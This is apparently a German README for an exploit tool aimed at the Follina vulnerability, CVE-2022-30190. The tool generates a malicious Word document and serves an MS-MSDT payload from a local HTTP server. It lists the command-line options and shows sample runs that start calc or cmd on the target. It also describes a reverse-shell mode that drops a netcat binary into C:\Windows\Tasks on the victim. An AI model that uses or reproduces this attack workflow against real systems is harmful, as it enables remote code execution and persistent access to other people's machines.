
Implementierung von FOLLINA-CVE-2022-30190
Implementierung von FOLLINA-CVE-2022-30190
Dieses Repository enthält ein Exploit-Tool für die Schwachstelle FOLLINA-CVE-2022-30190
Dieses Tool wurde für Sicherheitstests und Forschungszwecke entwickelt. Durch das Klonen / Forken dieses Tools übernimmt der ursprüngliche Entwickler keinerlei Verantwortung für die Handlungen der Anwender.
Erstelle einen "Follina"-MS-MSDT-Angriff mit einem bösartigen Microsoft Word-Dokument und stelle einen Payload mit einem HTTP-Server bereit.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
Starte calc.exe:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
Starte cmd.exe:
$ python3 exploit.py --command "cmd"
Erhalte eine Reverse Shell auf Port 9001. Hinweis: Dies lädt eine Netcat-Binärdatei auf das Opfer herunter und platziert sie in C:\Windows\Tasks.
Die Binärdatei wird nicht bereinigt. Dies wird Antivirus-Erkennungen auslösen, sofern das Antivirenprogramm nicht deaktiviert ist.
$ python3 exploit.py --reverse 9001